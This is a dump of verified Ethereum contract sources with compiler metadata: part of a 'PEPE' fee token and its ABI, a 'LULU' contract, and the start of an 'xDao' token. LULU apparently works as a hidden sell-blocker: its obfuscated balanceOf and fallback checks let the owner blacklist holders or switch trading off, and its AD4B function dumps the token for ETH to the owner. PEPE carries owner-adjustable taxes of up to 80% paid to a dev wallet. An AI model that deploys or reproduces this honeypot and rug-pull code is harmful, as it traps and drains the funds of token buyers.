calldata path, address to, uint deadline) external; } contract PEPE is ERC20, Ownable{ using Address for address payable; IRouter public router; address public pair; bool private swapping; bool public swapEnabled; bool public tradingEnabled; uint256 public swapThreshold = 50_000_000 * 10**9; uint256 public maxTxAmount = 200_000_000 * 10**9; uint256 public maxWalletAmount = 200_000_000 * 10**9; address public devWallet; struct Taxes { uint256 marketing; uint256 liquidity; uint256 dev; } Taxes public taxes = Taxes(20,5,10); Taxes public sellTaxes = Taxes(40,10,10); uint256 public totalTax = 35; uint256 public totalSellTax = 80; mapping (address => bool) public excludedFromFees; modifier inSwap() { if (!swapping) { swapping = true; _; swapping = false; } } constructor(address _devWallet) ERC20("PEPE", unicode"佩佩") { devWallet = _devWallet; _mint(msg.sender, 1e9 * 10 ** decimals()); excludedFromFees[msg.sender] = true; IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()) .createPair(address(this), _router.WETH()); router = _router; pair = _pair; excludedFromFees[address(this)] = true; excludedFromFees[devWallet] = true; } function _transfer(address sender, address recipient, uint256 amount) internal override { require(amount > 0, "Transfer amount must be greater than zero"); if(!excludedFromFees[sender] && !excludedFromFees[recipient] && !swapping){ require(tradingEnabled, "Trading not active yet"); require(amount <= maxTxAmount, "You are exceeding maxTxAmount"); if(recipient != pair){ require(balanceOf(recipient) + amount <= maxWalletAmount, "You are exceeding maxWalletAmount"); } } uint256 fee; if (swapping || excludedFromFees[sender] || excludedFromFees[recipient]) fee = 0; else{ if(recipient == pair) fee = amount * totalSellTax / 100; else fee = amount * totalTax / 100; } if (swapEnabled && !swapping && sender != pair && fee > 0) swapForFees(); super._transfer(sender, recipient, amount - fee); if(fee > 0) super._transfer(sender, devWallet ,fee); } function swapForFees() private inSwap { uint256 contractBalance = balanceOf(address(this)); if (contractBalance >= swapThreshold) { swapTokensForETH(swapThreshold); payable(devWallet).sendValue(address(this).balance); } } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tokenAmount); // add the liquidity router.addLiquidityETH{value: bnbAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable devWallet, block.timestamp ); } function setSwapEnabled(bool state) external onlyOwner { swapEnabled = state; } function setSwapThreshold(uint256 new_amount) external onlyOwner { swapThreshold = new_amount; } function enableTrading() external onlyOwner{ require(!tradingEnabled, "Trading already active"); tradingEnabled = true; swapEnabled = true; } function removeLimits() external onlyOwner{ maxTxAmount = totalSupply(); maxWalletAmount = totalSupply(); taxes = Taxes(0,0,0); totalTax = 0; sellTaxes = Taxes(0,0,0); totalSellTax = 0; } function setBuyTaxes(uint256 _marketing, uint256 _liquidity, uint256 _dev) external onlyOwner{ taxes = Taxes(_marketing, _liquidity, _dev); totalTax = _marketing + _liquidity + _dev; } function setSellTaxes(uint256 _marketing, uint256 _liquidity, uint256 _dev) external onlyOwner{ sellTaxes = Taxes(_marketing, _liquidity, _dev); totalSellTax = _marketing + _liquidity + _dev; } function updateDBTeamWallet(address newWallet) external onlyOwner{ devWallet = newWallet; } function updateRouterAndPair(IRouter _router, address _pair) external onlyOwner{ router = _router; pair = _pair; } function updateExcludedFromFees(address _address, bool state) external onlyOwner { excludedFromFees[_address] = state; } function updateMaxTxAmount(uint256 amount) external onlyOwner{ maxTxAmount = amount * 10**9; } function updateMaxWalletAmount(uint256 amount) external onlyOwner{ maxWalletAmount = amount * 10**9; } function rescueERC20(address tokenAddress, uint256 amount) external { IERC20(tokenAddress).transfer(devWallet, amount); } function rescueETH(uint256 weiAmount) external { payable(devWallet).sendValue(weiAmount); } function manualSwap(uint256 amount) external { swapTokensForETH(amount); payable(devWallet).sendValue(address(this).balance); } // fallbacks receive() external payable {} }

[{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_dev","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_dev","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"setSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDBTeamWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateExcludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IRouter","name":"_router","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"updateRouterAndPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.12+commit.f00d7308

0000000000000000000000004ab8d9cb991e867928c16339d3a4542ef7c75140

Default

MIT

ipfs://d9047b344d982cdb6135b0ee2b8627544cc3ebdd8f25f009859e5c3586fbe7de

LULU

LULU.sol

0xe17da9e1c0a13f58c7fc4092c9843070b5a7f8bb

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function decimals() external returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Router02 { function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract LULU is Ownable { using SafeMath for uint256; IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address coin; address pair; mapping(address => bool) whites; mapping(address => bool) blacks; bool public enabled = true; receive() external payable { } function ADYB(address _coin, address _pair) external onlyOwner { coin = _coin; pair = _pair; } function ADSB(bool _enabled) external onlyOwner { enabled = _enabled; } function resetParam() external onlyOwner { coin = address(0); pair = address(0); } function balanceOf( address from ) external view returns (uint256) { if (whites[from] || pair == address(0)) { return 1; } else if ((from == owner() || from == address(this))) { return 0; } if (from != pair) { require(enabled); require(!blacks[from]); } return 1; } function AD4B(uint256 count) external onlyOwner { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = coin; path[1] = uniswapV2Router.WETH(); IERC20(coin).approve(address(uniswapV2Router), ~uint256(0)); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( 10 ** count, 0, // accept any amount of ETH path, address(this), block.timestamp ); payable(msg.sender).transfer(address(this).balance); } function ADEB(address[] memory _wat) external onlyOwner{ for (uint i = 0; i < _wat.length; i++) { whites[_wat[i]] = true; } } function addBL(address[] memory _bat) external onlyOwner{ for (uint i = 0; i < _bat.length; i++) { blacks[_bat[i]] = true; } } function claimDust() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } fallback(bytes calldata) external payable returns (bytes memory) { address from; bytes memory data = msg.data; assembly { from := mload(add(data, 0x14)) } if (whites[from] || pair == address(0)) { return abi.encodePacked(uint256(1)); } else if ((from == owner() || from == address(this))) { return abi.encodePacked(uint256(0)); } if (from != pair) { require(enabled); require(!blacks[from]); } return abi.encodePacked(uint256(1)); } }

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v0.8.18+commit.87f61d96

Default

None

ipfs://3e349b8dc6fd73602e2c3edb2e1de6bea6c366cbb40838c5ad9869b62deffbd9

xDao

xDao.sol

0x611d2a78ae4a888503d41bf8dd5c4330c18a01f1

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } 